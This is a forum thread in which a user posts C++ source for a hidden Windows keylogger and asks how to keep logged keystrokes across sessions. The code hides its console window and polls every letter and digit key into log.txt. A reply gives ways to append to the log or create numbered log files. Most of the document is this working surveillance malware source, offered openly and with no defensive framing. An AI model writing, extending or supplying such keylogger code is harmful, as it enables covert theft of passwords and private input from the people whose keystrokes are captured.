Nov 15, 2013 at 7:50pm UTC
The code I have for this keylogger works and records all of the keystrokes fine. It creates log.txt and puts the keystrokes into it once the keylogger's session in ended or the computer is shut down. Now the problem is that the log.txt does not save, so once a second session happens it erases all of the keystrokes from the previous session and replaces it with the last sessions strokes. Is there a way to have log.txt be saved and to add on to the last session's strokes in the file as well?
Here's my code
#include <stdio.h>
#include <windows.h>
#include <winuser.h>
#include <iostream>
#include <fstream>
#include <string>
#include "LoggerHook.h"
using namespace std;
int main(){
FreeConsole();
string log;
while(true){
if(GetAsyncKeyState(0x41)){
cout<<"a";
log+="a";
Sleep(05);
};
if(GetAsyncKeyState(0x42)){
cout<<"b";
log+="b";
Sleep(05);
};
if(GetAsyncKeyState(0x43)){
cout<<"c";
log+="c";
Sleep(05);
};
if(GetAsyncKeyState(0x44)){
cout<<"d";
log+="d";
Sleep(05);
};
if(GetAsyncKeyState(0x45)){
cout<<"e";
log+="e";
Sleep(05);
};
if(GetAsyncKeyState(0x46)){
cout<<"f";
log+="f";
Sleep(05);
};
if(GetAsyncKeyState(0x47)){
cout<<"g";
log+="g";
Sleep(05);
};
if(GetAsyncKeyState(0x48)){
cout<<"h";
log+="h";
Sleep(05);
};
if(GetAsyncKeyState(0x49)){
cout<<"i";
log+="i";
Sleep(05);
};
if(GetAsyncKeyState(0x4a)){
cout<<"j";
log+="j";
Sleep(05);
};
if(GetAsyncKeyState(0x4b)){
cout<<"k";
log+="k";
Sleep(05);
};
if(GetAsyncKeyState(0x4c)){
cout<<"l";
log+="l";
Sleep(05);
};
if(GetAsyncKeyState(0x4d)){
cout<<"m";
log+="m";
Sleep(05);
};
if(GetAsyncKeyState(0x4e)){
cout<<"n";
log+="n";
Sleep(05);
};
if(GetAsyncKeyState(0x4f)){
cout<<"o";
log+="o";
Sleep(05);
};
if(GetAsyncKeyState(0x50)){
cout<<"p";
log+="p";
Sleep(05);
};
if(GetAsyncKeyState(0x51)){
cout<<"q";
log+="q";
Sleep(05);
};
if(GetAsyncKeyState(0x52)){
cout<<"r";
log+="r";
Sleep(05);
};
if(GetAsyncKeyState(0x53)){
cout<<"s";
log+="s";
Sleep(05);
};
if(GetAsyncKeyState(0x54)){
cout<<"t";
log+="t";
Sleep(05);
};
if(GetAsyncKeyState(0x55)){
cout<<"u";
log+="u";
Sleep(05);
};
if(GetAsyncKeyState(0x56)){
cout<<"v";
log+="v";
Sleep(05);
};
if(GetAsyncKeyState(0x57)){
cout<<"w";
log+="w";
Sleep(05);
};
if(GetAsyncKeyState(0x58)){
cout<<"x";
log+="x";
Sleep(05);
};
if(GetAsyncKeyState(0x59)){
cout<<"y";
log+="y";
Sleep(05);
};
if(GetAsyncKeyState(0x5A)){
cout<<"z";
log+="z";
Sleep(05);
};
if(GetAsyncKeyState(VK_SPACE)){
cout<<"_";
log+="_";
Sleep(05);
};
if(GetAsyncKeyState(0x6E)){
cout<<".";
log+=".";
Sleep(05);
};
if(GetAsyncKeyState(0x0d)){
cout<<"<ENTER>";
log+="<ENTER>";
Sleep(05);
};
if(GetAsyncKeyState(0x08)){
cout<<"<BACKSPACE>";
log+="<BACKSPACE>";
Sleep(05);
};
if(GetAsyncKeyState(0x30)){
cout<<"0";
log+="0";
Sleep(05);
};
if(GetAsyncKeyState(0x31)){
cout<<"1";
log+="1";
Sleep(05);
};
if(GetAsyncKeyState(0x32)){
cout<<"2";
log+="2";
Sleep(05);
};
if(GetAsyncKeyState(0x33)){
cout<<"3";
log+="3";
Sleep(05);
};
if(GetAsyncKeyState(0x34)){
cout<<"4";
log+="4";
Sleep(05);
};
if(GetAsyncKeyState(0x35)){
cout<<"5";
log+="5";
Sleep(05);
};
if(GetAsyncKeyState(0x35)){
cout<<"5";
log+="5";
Sleep(05);
};
if(GetAsyncKeyState(0x36)){
cout<<"6";
log+="6";
Sleep(05);
};
if(GetAsyncKeyState(0x37)){
cout<<"7";
log+="7";
Sleep(05);
};
if(GetAsyncKeyState(0x38)){
cout<<"8";
log+="8";
Sleep(05);
};
if(GetAsyncKeyState(0x39)){
cout<<"9";
log+="9";
Sleep(05);
};
fstream myfile;
myfile.open ("log.txt"); //you can rename this to whatever you want instead of "log"
myfile << log;
myfile.close();
}
//system ("pause");
return 0;
}
Nov 15, 2013 at 9:16pm UTC
do you want a legit key logger? because there are much more efficient ones. but anyways, you have to solutions. open up the file to append instead of overwrite, or iterate over the directory and look for the last log file written, and make a new one with the next number.
ie:
you make log1.txt
iterate over the directory and find log1
you make log2.txt